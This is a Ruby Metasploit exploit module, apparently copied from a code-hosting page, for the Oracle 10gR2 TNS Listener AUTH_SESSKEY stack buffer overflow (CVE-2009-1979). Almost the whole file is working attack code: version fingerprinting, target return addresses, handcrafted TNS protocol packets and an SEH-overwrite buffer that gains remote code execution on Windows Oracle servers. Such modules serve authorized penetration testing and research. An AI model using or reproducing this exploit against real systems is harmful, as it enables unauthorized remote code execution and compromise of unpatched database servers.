329 lines
9.5 KiB
Ruby
329 lines
9.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::TNS
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Oracle. When
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sending a specially crafted packet containing a long AUTH_SESSKEY value
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to the TNS service, an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2009-1979'],
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[ 'OSVDB', '59110'],
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[ 'BID', '36747'],
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[ 'URL', 'http://blogs.conus.info/node/28' ],
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[ 'URL', 'http://blogs.conus.info/node/35' ],
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[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 0x17e,
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'BadChars' => "", # none, thx memcpy!
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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[ 'Oracle 10.2.0.1.0 Enterprise Edition',
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{
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# Untested
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'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
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}
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],
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[ 'Oracle 10.2.0.4.0 Enterprise Edition',
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{
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# Tested OK - 2010-Jan-20 - jduck
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'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 20 2009'))
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register_options(
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[
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OptString.new('SID', [ true, 'The target database SID', 'ORCL']),
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Opt::RPORT(1521)
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])
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end
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def check
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version = tns_version
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if (not version)
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vprint_error("Unable to detect the Oracle version!")
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return Exploit::CheckCode::Unknown
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end
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vprint_status("Oracle version reply: " + version)
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return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
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return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
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return Exploit::CheckCode::Safe
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end
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def exploit
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mytarget = nil
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if target.name =~ /Automatic/
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print_status("Attempting automatic target detection...")
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version = tns_version
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if (not version)
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fail_with(Failure::NoTarget, "Unable to detect the Oracle version!")
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end
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if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
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mytarget = targets[1]
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elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
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mytarget = targets[2]
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end
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if (not mytarget)
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fail_with(Failure::NoTarget, "Unable to automatically detect the target")
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end
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print_status("Automatically detected target \"#{mytarget.name}\"")
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else
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mytarget = target
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print_status("Attacking using target \"#{mytarget.name}\"")
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end
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username = rand_text_alphanumeric(0x1c)
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connect
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print_status("Sending NSPTCN packet ...")
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connect_data = "" +
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"(DESCRIPTION=" +
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"(CONNECT_DATA=" +
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"(SERVICE_NAME=#{datastore['SID']})" +
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"(CID=" +
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"(PROGRAM=client.exe)" +
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"(HOST=client_host)" +
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")" +
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")" +
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"(ADDRESS=" +
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"(PROTOCOL=TCP)" +
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"(PORT=1521)" +
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")" +
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")"
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nsptcn_pkt = tns_packet(connect_data)
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sock.put(nsptcn_pkt)
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# read NSPTRS (expecting 8 bytes)
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res = sock.get_once(-1, 1)
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#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
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print_status("Re-sending NSPTCN packet ...")
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sock.put(nsptcn_pkt)
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# read NSPTAC (expecting 32 bytes)
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begin
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res = sock.get_once(-1, 1)
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rescue ::Errno::ECONNRESET, EOFError
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fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...")
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end
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#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
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# send NA
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print_status("Sending NA packet ...")
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na_stuff = [0xdeadbeef].pack('N') +
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"\x00\x92" +
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"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
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"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
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"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
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"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
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"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
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"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
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"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
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"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
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"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
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na_pkt = nsptda_packet(na_stuff)
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sock.put(na_pkt)
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# read response (expecting 127 bytes)
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res = sock.get_once(-1, 1)
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#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
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# send TTIPRO
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print_status("Sending TTIPRO packet ...")
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ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
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"IBMPC/WIN_NT-8.1.0" +
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"\x00"
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ttipro_pkt = nsptda_packet(ttipro_stuff)
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sock.put(ttipro_pkt)
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# read response (expecting 179 bytes)
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res = sock.get_once(-1, 1)
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#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
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# send TTIDTY
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print_status("Sending TTIDTY packet ...")
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ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
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"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
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"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
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"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
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"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
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ttidty_pkt = nsptda_packet(ttidty_stuff)
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sock.put(ttidty_pkt)
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# read response (expecting 22 bytes)
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res = sock.get_once(-1, 1)
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#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
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# send first auth pkt (call OSESSKEY)
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print_status("Calling OSESSKEY ...")
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params = []
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dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
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sock.put(dtyauth_pkt)
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# read RPA (expecting 225 bytes)
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res = sock.get_once(-1, 1)
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#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
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# build exploit buffer
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print_status("Calling kpoauth with long AUTH_SESSKEY ...")
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sploit = payload.encoded
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sploit << rand_text_alphanumeric(0x19a - 0x17e)
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sploit << generate_seh_record(mytarget.ret)
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distance = payload_space + 8 + 5
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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# ensure bad ptr is derefed
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value = rand(0x3fffffff) | 0xc0000000
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sploit[0x17e,4] = [value].pack('V')
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# send overflow trigger packet (call kpoauth)
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params = []
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params << {
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'Name' => 'AUTH_SESSKEY',
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'Value' => sploit,
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'Flag' => 1
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}
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dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
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sock.put(dtyauth_pkt)
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# expecting disconnect...
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if (res = sock.get_once(-1, 1))
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print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
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fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/")
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end
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handler
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disconnect
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end
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def tns_version
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connect
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version = "(CONNECT_DATA=(COMMAND=VERSION))"
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pkt = tns_packet(version)
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sock.put(pkt)
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sock.get_once
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res = sock.get_once(-1, 1)
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disconnect
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return res
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rescue EOFError
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return nil
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end
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def nsptda_packet(data)
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pkt = [data.length + 10].pack('n') # NSPHDLEN
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pkt << [0].pack('n') # NSPHDPSM
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pkt << [6].pack('C') # pkt type
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pkt << [0].pack('C') # reserved
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pkt << [0].pack('n') # NSPHDHSM
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pkt << [0].pack('n') # NSPDAFLG
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pkt << data
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return pkt
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end
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def dtyauth_packet(opi, user, flag, params)
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dunno = 2
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dunno = 3 if opi == 0x73
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pkt = [3, opi, dunno].pack('CCC')
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pkt << [-2].pack('V')
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pkt << [user.length].pack('V')
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pkt << [flag].pack('V')
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pkt << [-2].pack('V')
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pkt << [params.length].pack('V')
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pkt << [-2].pack('V')
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pkt << [-2].pack('V')
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pkt << [user.length].pack('C')
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pkt << user
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params.each { |param|
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name = param['Name']
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pkt << [name.length].pack('V')
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pkt << [name.length].pack('C')
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pkt << name
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val = param['Value']
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pkt << [val.length].pack('V')
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if (val.length > 0)
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if (val.length > 0xff)
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pkt << chunkify(val)
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else
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pkt << [val.length].pack('C')
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pkt << val
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end
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end
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flag = param['Flag']
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pkt << [flag].pack('V')
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}
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return nsptda_packet(pkt)
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end
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def chunkify(buf)
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ret = ""
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if buf.length > 0xff
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ret << "\xfe"
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while (buf.length > 0xff)
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ret << "\xff"
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ret << buf.slice!(0, 0xff)
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end
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if buf.length > 0
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ret << [buf.length].pack('C')
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ret << buf
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end
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ret << "\x00"
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else
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ret << [buf.length].pack('C')
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ret << buf
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end
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return ret
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end
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end
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